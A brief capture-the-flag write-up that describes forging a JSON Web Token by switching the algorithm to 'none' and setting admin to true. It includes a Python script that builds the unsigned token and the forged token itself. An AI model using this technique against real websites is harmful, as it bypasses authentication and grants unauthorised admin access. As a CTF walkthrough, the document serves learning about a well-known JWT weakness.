We can change admin to true but the website doesn't like the signature. Sometimes changing the algorithm to "None" and leaving off the signature works but jwt.io doesn't let us do that. Learning how JWTs work and trying it manually, it works and we get the flag.

import base64
import json

def base64url_encode(input):
    return base64.urlsafe_b64encode(input).rstrip(b'=')

header = {"alg": "none", "typ": "JWT"}
payload = {"userId": "8ioxsdv1tfo", "admin": True, "iat": 1710034235}

encoded_header = base64url_encode(json.dumps(header).encode())
encoded_payload = base64url_encode(json.dumps(payload).encode())

token = f"{encoded_header.decode()}.{encoded_payload.decode()}."
print(token)
# eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VySWQiOiAiOGlveHNkdjF0Zm8iLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTcxMDAzNDIzNX0.

Last updated